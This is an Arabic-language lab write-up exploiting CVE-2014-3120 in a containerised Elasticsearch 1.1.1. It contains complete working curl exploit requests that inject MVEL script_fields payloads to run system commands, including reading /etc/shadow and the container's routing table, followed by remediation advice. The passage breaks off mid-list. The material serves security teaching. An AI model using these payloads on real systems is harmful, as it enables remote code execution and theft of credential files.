المختبر 10-CVE-2014-3120

أولاً: تحليل النظام

تحديد سطح الهجوم من بيئة Docker

نبدأ بما هو قيد التشغيل في البيئة. نعرض جميع الحاويات النشطة:

docker ps

النتيجة: الحاوية p1/lab10:latest قيد التشغيل، وتُظهر منفذين خارجيًا:

ملاحظة أولية: المنفذان 9200 و9300 معروفان عمومًا كمنفذين افتراضيين لـ Elasticsearch. ومع ذلك، لا يمكننا الجزم بناءً على أرقام المنافذ فقط - فالعديد من الخدمات الأخرى يمكنها الارتباط بأي منفذ.

⇒ نستخدم curl مباشرة على كل منفذ للتحقق من الخدمة الفعلية قيد التشغيل.

اختبار المنفذ 9300

curl -i http://192.168.3.137:9300/

تحليل الاستجابة:

• الاستجابة: curl: (52) Empty reply from server
• ترويسة الخادم: لا شيء - الخادم لا يُرجع أي استجابة HTTP

التقييم: قبل الخادم اتصال TCP (لا يوجد رفض اتصال)، ولكنه لم يستجب باستخدام بروتوكول HTTP. هذا يتوافق مع سلوك بروتوكول نقل Elasticsearch (Transport protocol) على المنفذ 9300 - وهو بروتوكول ثنائي يُستخدم للتواصل بين العقد في العنقود (Cluster)، وليس HTTP.

⇒ المنهجية: المنفذ 9300 يستخدم بروتوكولًا ثنائيًا → لا يمكن استغلاله مباشرة عبر curl أو المتصفح. ننتقل إلى فحص المنفذ 9200 - منفذ REST API الخاص بـ HTTP.

اختبار المنفذ 9200

curl -i http://192.168.3.137:9200/

تحليل الاستجابة:

تقييم سطح الهجوم:

• تم التأكيد أن هذه هي Elasticsearch 1.1.1 - الخدمة تُرجع استجابة JSON مميزة تتضمن تفاصيل الإصدار الكاملة
• لا يتطلب مصادقة - REST API يستجيب مباشرة دون الحاجة إلى بيانات اعتماد
• إصدار Elasticsearch 1.1.1 (2014) يقع ضمن نطاق تأثير العديد من الثغرات الحرجة، خاصةً CVE-2014-3120 - وهي ثغرة تتيح تنفيذ كود تعسفي عبر البرمجة الديناميكية (Dynamic Scripting)

⇒ المنهجية: إصدار Elasticsearch 1.1.1 يُفعّل البرمجة الديناميكية (Dynamic Scripting) افتراضيًا - مما يسمح للعملاء بإرسال سكربتات (تعبيرات MVEL) داخل استعلامات البحث ليُنفذها الخادم. وبدون صندوق حماية (Sandbox) أو تحقق مناسب، يمكن للمهاجم حقن سكربت خبيث لتنفيذ أوامر النظام. الخطوة التالية: التحقق مما إذا كانت البرمجة الديناميكية نشطة فعلًا على الهدف.

التحقق من البرمجة الديناميكية ومحرك MVEL

ما هي البرمجة الديناميكية؟

يدعم Elasticsearch ميزة البرمجة (Scripting) - وهي تتيح للعملاء إرسال سكربتات (تعبيرات رياضية أو منطقية) داخل طلبات البحث ليقوم الخادم بتنفيذها أثناء معالجة النتائج. في الإصدارات 1.x من Elasticsearch، المحرك الافتراضي لهذه الميزة هو MVEL (MVFLEX Expression Language).

المشكلة الأمنية الأساسية

في إصدارات Elasticsearch الأقدم من 1.2، تكون البرمجة الديناميكية مفعّلة افتراضيًا (script.disable_dynamic: false). هذا يعني:

1. REST API لا يتطلب مصادقة
2. يمكن للعملاء إرسال سكربتات تعسفية عبر معامل script_fields في واجهة _search
3. محرك MVEL يفتقر إلى صندوق حماية قوي بما يكفي - مما يسمح بالوصول إلى بيئة Java التشغيلية
4. يمكن للمهاجمين استدعاء java.lang.Runtime.getRuntime().exec() لتنفيذ أوامر النظام

كيف تعمل script_fields

عند إرسال طلب بحث يتضمن script_fields، سيقوم Elasticsearch بما يلي:

1. استلام طلب JSON عبر واجهة _search
2. تحليل حقل script_fields → العثور على script المراد تنفيذه
3. تقييم السكربت باستخدام محرك MVEL
4. محرك MVEL لديه وصول كامل إلى بيئة Java التشغيلية → يمكنه استدعاء أي فئة Java
5. إرجاع النتائج في استجابة HTTP

تحليل ناقل الهجوم: MVEL → Java Runtime → RCE

في Java، الطريقة الأكثر شيوعًا لتنفيذ أمر نظام هي:

Runtime.getRuntime().exec("command");

MVEL، كلغة تعبيرات تتمتع بـ وصول كامل إلى فئات Java، تسمح باستدعاء ذلك مباشرة:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

شرح كل جزء:

⇒ المنهجية: مع Elasticsearch، يتم إرجاع مخرجات RCE مباشرة في الاستجابة — دون الحاجة إلى إعادة توجيهها إلى ملف ثم قراءتها. وهذا يجعل الاستغلال أنظف وأسرع للتحقق.

ثانيًا: الاستغلال

تأكيد أن البرمجة الديناميكية نشطة

بعد تحديد الهدف على أنه Elasticsearch 1.1.1، الخطوة التالية هي التحقق مما إذا كانت البرمجة الديناميكية (Dynamic Scripting) مفعّلة فعلًا.

تستغل CVE-2014-3120 حقيقة أن Elasticsearch يسمح للعملاء بإرسال سكربتات داخل طلبات _search. إذا نُفِّذ السكربت بواسطة الخادم، يمكن للمهاجم استبدال التعبير غير الضار بحمولة تستدعي Java Runtime لتنفيذ أوامر النظام.

أولًا، ننشئ مستندًا تجريبيًا لضمان وجود نتيجة مطابقة واحدة على الأقل للاستعلام. إذا لم تتطابق أي مستندات، فلن يتم تقييم script_fields.

curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

ثم نقوم بتحديث الفهرس:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

بعد ذلك، نرسل طلب _search يتضمن script_fields يحتوي على تعبير MVEL غير ضار:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

أرسلنا السكربت "1+1" وأعاد الخادم النتيجة 2. هذا يُثبت أن Elasticsearch لا يستقبل طلب _search فحسب، بل ينفذ السكربت الديناميكي على جانب الخادم.

⇒ البرمجة الديناميكية (Dynamic Scripting) نشطة على الهدف.

نظرًا لأن الهدف هو Elasticsearch 1.1.1، أي قبل الإصدار 1.2، فهذا يتوافق مع متطلبات استغلال CVE-2014-3120: إصدارات Elasticsearch قبل 1.2 تُفعّل البرمجة الديناميكية افتراضيًا، مما يسمح للمهاجم البعيد بتنفيذ تعبيرات MVEL/كود Java عبر طلب بحث.

تحديد المسار إلى دالة تنفيذ الأوامر

لقد تحققنا من أن script_fields تُنفَّذ بواسطة Elasticsearch على جانب الخادم عبر التعبير غير الضار "1+1" الذي أرجَع [2].

هذا يُثبت أن الهدف لا يسمح بعمليات البحث القياسية فقط، بل يسمح أيضًا للعملاء بإرسال سكربت MVEL ليقوم الخادم بتقييمه أثناء معالجة _search.

مع CVE-2014-3120، يكمن الخطر الحرج في حقيقة أن MVEL في Elasticsearch 1.1.1 يمكنه الوصول إلى فئات Java. لذلك، بدلًا من إرسال تعبير رياضي مثل "1+1"، يمكن للمهاجم إرسال سكربت يستدعي Java Runtime:

Runtime.getRuntime().exec("command")

هذه هي واجهة برمجة تطبيقات Java القياسية المستخدمة لإنشاء عملية جديدة وتنفيذ أوامر على نظام التشغيل.

سلسلة الهجوم

_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response

بناء حمولة RCE وتنفيذها

حمولة RCE:

curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

تفصيل الحمولة:

النتيجة:

تُرجع الاستجابة حقل fields.exploit الذي يحتوي على مخرجات أمر id:

"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

التحليل:

نجحت الحمولة في استدعاء Runtime.getRuntime().exec("id") عبر سكربت MVEL داخل script_fields. حقيقة أن الاستجابة تُرجع مخرجات أمر id تُثبت أن الأمر نُفِّذ على جانب الخادم.

النتيجة uid=0(root) gid=0(root) groups=0(root) تشير إلى أن عملية Elasticsearch داخل الحاوية تعمل بصلاحيات root.

تحديد حدود الصلاحيات

بعد تأكيد RCE، يجب التحقق من الصلاحيات الفعلية عن طريق محاولة قراءة ملفات حساسة:

قراءة /etc/shadow:

curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

النتيجة الملاحظة:

تُرجع الاستجابة محتويات ملف /etc/shadow:

root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

التحليل:

ملف /etc/shadow هو ملف نظام حساس في Linux، وعادةً ما يكون قابلاً للقراءة فقط من قبل مستخدم root أو العمليات ذات الصلاحيات المكافئة. في الخطوة السابقة، أعاد أمر id النتيجة:

uid=0(root) gid=0(root) groups=0(root)

تؤكد هذه الخطوة ذلك بشكل أكبر من خلال السلوك الفعلي: حمولة RCE قادرة على قراءة /etc/shadow بنجاح.

⇒ Elasticsearch داخل الحاوية يعمل بصلاحيات root.

⇒ لا يقتصر التأثير على تنفيذ الأوامر النموذجي، بل هو RCE بصلاحيات root داخل الحاوية.

ملاحظة: صلاحية root هنا تشير إلى root داخل حاوية Docker. لا يمكننا الجزم بأن المهاجم يمتلك صلاحيات root على المضيف دون دليل على أن الحاوية تعمل في الوضع المميز (Privileged)، أو تُركّب مقبس Docker، أو تُركّب وحدات تخزين حساسة من المضيف.

ثالثًا: ما بعد الاستغلال

جمع معلومات النظام

تم تأكيد RCE. نتابع بجمع معلومات النظام لتقييم النطاق.

عرض نظام الملفات الجذر للحاوية

بعد تأكيد RCE بصلاحيات root، ننفذ الأمر ls -la / عبر حمولة MVEL لملاحظة نظام الملفات داخل الهدف:

curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

النتيجة: تُرجع الاستجابة محتويات مجلد / في حقل rootfs.

التحليل:

حقيقة ظهور مخرجات ls -la / في استجابة JSON تُثبت أن الأمر نُفِّذ على الهدف عبر RCE. الملفات مثل docker-entrypoint.sh ومجلد elasticsearch والرابط الرمزي docker-java-home تشير إلى أن البيئة المخترقة هي حاوية تعمل بـ Elasticsearch.

⇒ يمكن للمهاجم عرض نظام الملفات داخل الحاوية بصلاحيات root.

فحص الشبكة — إمكانية التنقل الجانبي (Pivoting)

نظرًا لأن الحاوية لا تحتوي على ثنائي /sbin/ifconfig، نقرأ /proc/net/route مباشرة. هذا الملف لا يتطلب أدوات خارجية ويوفر جدول التوجيه الخاص بالحاوية.

curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

التحليل:

تُظهر النتائج أن الحاوية تمتلك واجهة eth0 وتقع ضمن شبكة Docker 172.19.0.0/16. البوابة الافتراضية هي 172.19.0.1.

هذا يُثبت أن الحاوية تمتلك اتصالًا شبكيًا داخليًا عبر جسر Docker. نظرًا لأن المهاجم يمتلك بالفعل RCE بصلاحيات root داخل الحاوية، يمكنه نظريًا المتابعة لفحص المضيفين/الخدمات الأخرى في نفس شبكة Docker إذا سمحت سياسات الشبكة بذلك.

ومع ذلك، فإن هذا المخرج يُثبت فقط إمكانية الرؤية الشبكية على مستوى التوجيه، وليس نجاح تنقل جانبي. استنتاج حدوث تنقل جانبي يتطلب أدلة إضافية مثل فحص مضيف آخر بنجاح، أو الاتصال بخدمة داخلية، أو استرجاع موارد من شبكة أخرى.

رابعًا: تقييم المخاطر والتوصيات

تقييم المخاطر

استنادًا إلى الأدلة التي تم جمعها أثناء التحليل، فإن الهدف يشغّل Elasticsearch 1.1.1 على المنفذ 9200. هذا الإصدار أقدم من 1.2، مما يضعه ضمن النطاق المتأثر بثغرة CVE-2014-3120.

تنبع الثغرة من قيام Elasticsearch بتفعيل البرمجة الديناميكية (Dynamic Scripting) افتراضيًا قبل الإصدار 1.2، مما يسمح للعملاء بإرسال سكربتات MVEL عبر طلبات البحث. في هذا المختبر، تم تأكيد عمل هذه الميزة باستخدام التعبير غير الضار "1+1" الذي أعاد النتيجة [2].

بعد ذلك، استدعت حمولة MVEL:

Runtime.getRuntime().exec("id")

وأعادت الاستجابة:

uid=0(root) gid=0(root) groups=0(root)

هذا يُثبت أن المهاجم يمكنه تنفيذ أوامر النظام عبر Elasticsearch. علاوة على ذلك، نجحت الحمولة في قراءة /etc/shadow، مما يؤكد أن صلاحية التنفيذ هي root داخل الحاوية.

توصيات المعالجة

1. ترقية Elasticsearch إلى إصدار أحدث

قم بترقية Elasticsearch إلى الإصدار >= 1.2.0 (كحد أدنى) أو الأفضل إلى الإصدار المدعوم حاليًا (8.x). بدءًا من الإصدار 1.2، تكون البرمجة الديناميكية معطّلة افتراضيًا.

2. تعطيل البرمجة الديناميكية فورًا (إذا لم تكن الترقية ممكنة)

أضف ما يلي إلى elasticsearch.yml:

script.disable_dynamic: true

أعد تشغيل Elasticsearch بعد إجراء هذا التغيير. سيؤدي ذلك إلى تعطيل قدرة العملاء على إرسال سكربتات داخل طلبات البحث تمامًا.

3. لا تُعرّض REST API الخاص بـ Elasticsearch لشبكات غير موثوقة

Elasticsearch لا يمتلك مصادقة افتراضية في الإصدار 1.x. إذا كان لا بد من تعريضه، فضعه خلف وكيل عكسي (Reverse Proxy) مع مصادقة أو اربطه بـ 127.0.0.1 فقط.

أولوية عالية

4. تفعيل المصادقة والتشفير

تدعم إصدارات Elasticsearch الحديثة (7.x+) الأمان المدمج (المصادقة، TLS). إذا تمت الترقية، فعّل ميزات الأمان:

xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. تقييد الوصول باستخدام جدار الحماية

اسمح فقط لعناوين IP الموثوقة بالوصول إلى المنفذين 9200 و9300. لا تُعرّضهما للإنترنت أو لشبكة داخلية بأكملها.

6. تشغيل Elasticsearch كمستخدم بصلاحيات محدودة

لا تقم بتشغيل Elasticsearch بمستخدم root. أنشئ مستخدم elasticsearch مخصصًا بصلاحيات دنيا. هذه أفضل الممارسات الرسمية: